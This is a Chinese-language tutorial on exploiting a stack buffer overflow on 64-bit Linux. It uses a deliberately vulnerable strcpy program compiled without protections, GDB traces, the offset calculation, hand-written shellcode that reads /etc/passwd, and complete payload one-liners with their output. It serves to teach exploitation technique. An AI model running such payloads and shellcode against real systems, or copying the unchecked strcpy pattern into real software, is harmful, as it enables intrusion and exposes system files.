天天看點

linux64 溢出,64位Linux下的棧溢出

from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf

本文的目的是讓大家學到64位緩沖區溢出的基礎知識。 作者Mr.Un1k0d3r RingZer0 Team

摘要

0x01 x86和x86_64的差別

0x02 漏洞代碼片段

0x03 觸發溢出

0x04 控制RIP

0x05 跳入使用者控制的緩沖區

0x06 執行shellcode

0x07 GDB vs 現實

0x08 結語

0x01 x86和x86_64的差別

第一個主要差別就是記憶體位址的大小。這沒啥可驚奇的: 不過即便記憶體位址有64位長使用者空間也隻能使用前47位要牢記這點因為當你指定一個大于0x00007fffffffffff的位址時會抛出一個異常。那也就意味着0x4141414141414141會抛出異常而0x0000414141414141是安全的。當你在進行模糊測試或編寫利用程式的時候我覺得這是個很巧妙的部分。

事實上還有很多其他的不同但是考慮到本文的目的不了解所有的差異也沒關系。

0x02 漏洞代碼片段

#!cpp

int main(int argc, char **argv) {

char buffer[256];

if(argc != 2) {

exit(0);

}

printf("%p\n", buffer);

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

return 0;

}

為了節省漏洞利用的時間我決定列印緩沖區指針位址。

你可以用gcc編譯上述代碼。

#!bash

$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector

這樣就一切妥當了。

0x03 觸發溢出

首先我們來确認一下确實可以讓這個程序崩潰。

#!cpp

$ ./bof $(python -c 'print "A" * 300')

0x7fffffffdcd0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

好來确認一下我們控制的RIP指令指針

linux64 溢出,64位Linux下的棧溢出

你可以通過stepi單步執行來過一遍程式流程譯者應該用ni比較合适。 當過了strcpy調用(0x40066c)之後你會發現目前緩沖區指針指向0x7fffffffdc90而不是0x7fffffffdcd0這是gdb的環境變量和其他東西造成的。不過現在我們不關心之後會解決的。 重要的說明* 在之後的内容中當我提到leave指令時就是指的上面的位址0x400685。 最後這是strcpy過後的棧

#!bash

(gdb) x/20xg $rsp

0x7fffffffdc80: 0x00007fffffffde78 0x00000002f7ffe520

0x7fffffffdc90: 0x4141414141414141 0x4141414141414141

0x7fffffffdca0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcb0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141

0x7fffffffdce0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcf0: 0x4141414141414141 0x4141414141414141

0x7fffffffdd00: 0x4141414141414141 0x4141414141414141

0x7fffffffdd10: 0x4141414141414141 0x4141414141414141

接着主函數(main)中的leave指令把rsp指向0x7fffffffdd98。 棧就變成了這樣子

#!bash

(gdb) x/20xg $rsp

0x7fffffffdd98: 0x4141414141414141 0x4141414141414141

0x7fffffffdda8: 0x4141414141414141 0x4141414141414141

0x7fffffffddb8: 0x0000000041414141 0x0000000000000000

0x7fffffffddc8: 0xa1c4af9213d095db 0x0000000000400520

0x7fffffffddd8: 0x00007fffffffde70 0x0000000000000000

0x7fffffffdde8: 0x0000000000000000 0x5e3b506da89095db

0x7fffffffddf8: 0x5e3b40d4af2a95db 0x0000000000000000

0x7fffffffde08: 0x0000000000000000 0x0000000000000000

0x7fffffffde18: 0x0000000000400690 0x00007fffffffde78

0x7fffffffde28: 0x0000000000000002 0x0000000000000000

(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.

好極了我們有SIGSEGV的時機去檢視目前寄存器的值。

#!bash

(gdb) i r

rax  0x0  0

rbx  0x0  0

rcx  0xffffffffffffffff  -1

rdx  0x7ffff7dd59e0 140737351866848

rsi  0x7ffff7ff7000 140737354100736

rdi  0x1  1

rbp  0x4141414141414141 0x4141414141414141

rsp   0x7fffffffdd98  0x7fffffffdd98

r8  0x4141414141414141 4702111234474983745

r9  0x4141414141414141 4702111234474983745

r10  0x4141414141414141 4702111234474983745

r11  0x246 582

r12  0x400520 4195616

r13  0x7fffffffde70 140737488346736

r14  0x0  0

r15   0x0  0

rip  0x400686 0x400686 

eflags  0x10246  [ PF ZF IF RF ]

cs  0x33  51

ss  0x2b  43

ds  0x0  0

es  0x0  0

fs  0x0  0

gs  0x0  0

(gdb) stepi

Program terminated with signal SIGSEGV, Segmentation fault.

The program no longer exists.

好了程式就這樣結束了我們沒能控制RIP為什麼因為我們覆寫了太多位記得最大的位址是0x00007fffffffffff吧而我們嘗試用0x4141414141414141去溢出了。

0x04 控制RIP

我們發現了個小問題不過隻要是問題總有辦法解決的我們可以用個小一點的緩沖區去溢出這樣指向rsp的位址就會像0x0000414141414141一樣了。 通過簡單的數學運算就可以很輕松地算出我們緩沖區的大小。我們知道緩沖區開始于0x7fffffffdc90。Leave指令之後rsp将指向0x7fffffffdd98。

0x7fffffffdd98 - 0x7fffffffdc90 = 0x108 -> 十進制的264

知道了這些我們可以把溢出載荷修改成這樣

"A" * 264 + "B" * 6

rsp指向的位址應該像0x0000424242424242一樣正常了。那樣就能控制RIP。

#!bash

$ gdb -tui bof

(gdb) set disassembly-flavor intel

(gdb) layout asm

(gdb) layout regs

(gdb) break main

(gdb) run $(python -c 'print "A" * 264 + "B" * 6')

這次我們直接看調用leave指令後的狀況。 這是leave指令執行後的棧

#!bash

(gdb) x/20xg $rsp

0x7fffffffddb8: 0x0000424242424242 0x0000000000000000

0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000

0x7fffffffddd8: 0x000000000040060d 0x0000000000000000

0x7fffffffdde8: 0x2a283aca5f708a47 0x0000000000400520

0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000

0x7fffffffde08: 0x0000000000000000 0xd5d7c535e4f08a47

0x7fffffffde18: 0xd5d7d58ce38a8a47 0x0000000000000000

0x7fffffffde28: 0x0000000000000000 0x0000000000000000

0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98

0x7fffffffde48: 0x0000000000000002 0x0000000000000000

這是leave指令執行後寄存器的值

#!bash

(gdb) i r

rax  0x0  0

rbx  0x0  0

rcx  0xffffffffffffffff  -1

rdx    0x7ffff7dd59e0 140737351866848

rsi  0x7ffff7ff7000 140737354100736

rdi  0x1  1

rbp  0x4141414141414141 0x4141414141414141

rsp   0x7fffffffddb8  0x7fffffffddb8

r8  0x4141414141414141 4702111234474983745

r9  0x4141414141414141 4702111234474983745

r10  0x4141414141414141 4702111234474983745

r11  0x246 r12 0x400520 4195616

r13  0x7fffffffde90 140737488346768

r14     0x0  0

r15  0x0  0

rip  0x400686 0x400686 

eflags  0x246 [ PF ZF IF ]

cs  0x33  51

ss  0x2b  43

ds  0x0  0

es  0x0  0

fs  0x0     0

gs  0x0  0

rsp指向0x7fffffffddb8而0x7fffffffddb8的内容就是0x0000424242424242。看來一切正常是時候執行ret指令了。

#!bash

(gdb) stepi

Cannot access memory at address 0x424242424242

Cannot access memory at address 0x424242424242

(gdb) i r

rax  0x0  0

rbx  0x0  0

rcx  0xffffffffffffffff  -1

rdx  0x7ffff7dd59e0 140737351866848

rsi  0x7ffff7ff7000 140737354100736

rdi  0x1  1

rbp  0x4141414141414141   0x4141414141414141

rsp   0x7fffffffddc0  0x7fffffffddc0

r8  0x4141414141414141 4702111234474983745

r9  0x4141414141414141 4702111234474983745

r10  0x4141414141414141 4702111234474983745

r11     0x246  582

r12  0x400520 4195616

r13  0x7fffffffde90 140737488346768

r14  0x0  0

r15  0x0  0

rip   0x424242424242  0x424242424242

eflags  0x246 [ PF ZF IF ]

cs  0x33    51

ss  0x2b  43

ds  0x0  0

es  0x0  0

fs  0x0  0

gs  0x0  0

我們最終控制了rip

0x05 跳入使用者控制的緩沖區

事實上這部分内容沒什麼特别的或者新的東西你隻需要指向你控制的緩沖區開頭。也就是第一個printf顯示出來的值在這裡是0x7fffffffdc90。通過gdb也可以很容易地重新獲得這個值你隻需在調用strcpy之後顯示棧。

#!bash

(gdb) x/4xg $rsp

0x7fffffffdc80: 0x00007fffffffde98 0x00000002f7ffe520

0x7fffffffdc90: 0x4141414141414141 0x4141414141414141

是時候更新我們的載荷了。新的載荷看起來像這樣

"A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]

因為是小端結構是以我們需要把記憶體位址反序。這就是python語句[::-1]所實作的。

确認下我們跳入正确的位址。

#!bash

$ gdb -tui bof

(gdb) set disassembly-flavor intel

(gdb) layout asm

(gdb) layout regs

(gdb) break main

(gdb) run $(python -c 'print "A" * 264 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

(gdb) x/20xg $rsp

0x7fffffffddb8: 0x00007fffffffdc90  0x0000000000000000

0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000

0x7fffffffddd8: 0x000000000040060d 0x0000000000000000

0x7fffffffdde8: 0xe72f39cd325155ac 0x0000000000400520

0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000

0x7fffffffde08: 0x0000000000000000 0x18d0c63289d155ac

0x7fffffffde18: 0x18d0d68b8eab55ac 0x0000000000000000

0x7fffffffde28: 0x0000000000000000 0x0000000000000000

0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98

0x7fffffffde48: 0x0000000000000002 0x0000000000000000

這是執行leave指令後的棧。如我們所知rsp指向0x7fffffffddb8。0x7fffffffddb8的内容是0x00007fffffffdc90。最後0x00007fffffffdc90指向我們控制的緩沖區。

(gdb) stepi

ret指令執行後rip指向0x7fffffffdc90這意味着我們跳入了正确的位置。

0x06 執行shellcode

在這個例子中我準備用個定制的shellcode去讀/etc/passwd的内容。

#!bash

BITS 64

; Author Mr.Un1k0d3r - RingZer0 Team

; Read /etc/passwd Linux x86_64 Shellcode

; Shellcode size 82 bytes

global _start

section .text

_start:

jmp _push_filename

_readfile:

; syscall open file

pop rdi   ; pop path value

; NULL byte fix

xor byte [rdi + 11], 0x41

xor rax, rax

add al, 2

xor rsi, rsi  ; set O_RDONLY flag

syscall

; syscall read file

sub sp, 0xfff

lea rsi, [rsp]

mov rdi, rax

xor rdx, rdx

mov dx, 0xfff   ; size to read

xor rax, rax

syscall

; syscall write to stdout

xor rdi, rdi

add dil, 1 ; set stdout fd = 1

mov rdx, rax

xor rax, rax

add al, 1

syscall

; syscall exit

xor rax, rax

add al, 60

syscall

_push_filename:

call _readfile

path: db "/etc/passwdA"

接下來彙編這個檔案然後提取shellcode。

#!bash

$ nasm -f elf64 readfile.asm -o readfile.o

$ for i in $(objdump  -d readfile.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6

6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x

0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\

xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f

\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

這個shellcode長82位元組。來構造最終的載荷吧。

原來的載荷

#!bash

$(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')

我們要保證一樣的大小是以264 - 82 = 182

#!bash

$(python -c 'print "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')

然後把shellcode接在開頭

#!bash

$(python -c 'print

"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x

66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\

x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31

\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2

f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

來把所有東西一塊兒測試

#!bash

$ gdb –tui bof

(gdb) run $(python -c 'print

"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x

66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\

x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31

\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2

f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

如果一切正常你就會看到/etc/passwd的内容。要注意記憶體位址是可以變化的這樣可能就和我這裡的不同了。

0x07 GDB vs 現實

因為gdb會初始化一些變量和其他的東西是以如果你試着在gdb之外使用同樣的利用腳本就會失敗。不過在這個例子中我加了個對printf的調用來輸出緩沖區指針。這樣我們就可以很容易地找到正确的值并且在真實的環境中獲得位址。

這是使用我們在gdb中找到的值的真實版本

#!bash

$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31

\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34

\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05

\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f

\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74

\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

0x7fffffffdcf0

?_w

[email protected]<

/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAA•

Illegal instruction (core dumped)

很顯然利用不成功。因為位址已經從0x7fffffffdc90變成了0x7fffffffdcf0。幸好有這點printf的輸出我們隻需用正确的值調整一下載下傳荷。

#!bash

$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31

\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34

\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05

\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f

\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74

\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\xf0"[::-1]')

0x7fffffffdcf0

?_w

[email protected]<

/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAA•

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

換成正确的值之後利用一切正常。

0x08 結語

希望你們能喜歡這篇關于Linux下x86_64緩沖區溢出的文章,有很多關于x86溢出的文章了,但64位的溢出比較少見。

祝你們拿到好多好多shell!

感謝